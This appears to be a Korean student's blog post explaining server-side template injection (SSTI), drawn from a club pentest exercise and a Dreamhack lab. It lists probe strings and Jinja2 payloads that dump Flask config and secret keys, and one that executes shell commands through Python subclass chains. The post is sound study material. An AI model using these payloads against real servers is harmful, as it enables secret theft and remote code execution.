연합 pentest 활동을 처음으로 해보았는데 SSTI 취약점을 통해서 서버 장악이 가능해지고
웹셸도 가능하게 되었다 도대체 SSTI는 무슨 존재인가?

발생원인: 사용자의 입력이 데이터로 처리되지 않고 템플릿 엔진 구문에 직접 연결될 때 발생한다
->데이터 노출을 넘어 서버의 환경 설정 원격 코드실행(RCE)까지 가능하게된다
pentest도 이 취약점 때문에 RCE까지 가능하게 되었다
예시:url 파라미터나 입력폼에 {{7*7}}을 입력했을때 화면에 49가 출력되면 해당 서버는 SSTI 취약점이 존재할 가능성이 매우높다
pentest에서는 쇼핑몰이었고 여기에 계산기 기능이 존재하였다
가설설정: 계산기 기능이 있으니 SSTI 취약점이 있지않을까..
사용 구문은 다음과 같다
{{7*7}} {7*7} @(7*7) #(7*7) $(7*7) [[7*7]] [[config]]
simple-ssti
payload:http://host3.dreamhack.games:18277/{{config}}
https://eastiron.tistory.com/17
SSTI payload(Jinja2 템플릿)
{{ 7+7 }} {{ config }} {{ config.items() }} {{ config['secret_key'] }} {{"".__class__.__mro__[1].__subclasses__()[index]('cat flag', shell=True, stdout=-1).communicate()}} {{"".__class__.__mro__[1].__subclasses__()[index]('cat flag', shell=True, stdout=-1)
eastiron.tistory.com
->{{config}}가 도대체 뭐길래
config에 보통 flag가 들어있는데
핵심 설정값들을 어플리케이션 환경설정에 저장을 한다.
flask에서는 이모든 설정내용이 config 딕셔너리 형태 객체안에 저장된다
주소창의 url 경로 자체가 서버로 전달되는 해킹의 통로가되었다
/ 뒤에 {{config}} 입력하면 서버는 그값을 인터넷 주소로 취급하지 않고 템플릿 문법으로 해석된다
사용자가 주소창에 직접 타이핑한 url 경로가 템플릿 엔진으로 들어간다
->서버가 사용자의 입력을 의심 없이 실행코드로 변환해 버린
'웹해킹' 카테고리의 다른 글
| OAuth와 OIDC (0) | 2026.05.10 |
|---|---|
| HSPACEMall 모의해킹 후기 — 동아리 연합 Pentest 결과 정리 (0) | 2026.03.09 |
| 웹해킹: file vulnerability (0) | 2026.02.25 |
| php파일 분석 (0) | 2026.02.23 |
| 웹해킹신 8주차:Business Logic Vulnerability (0) | 2026.02.19 |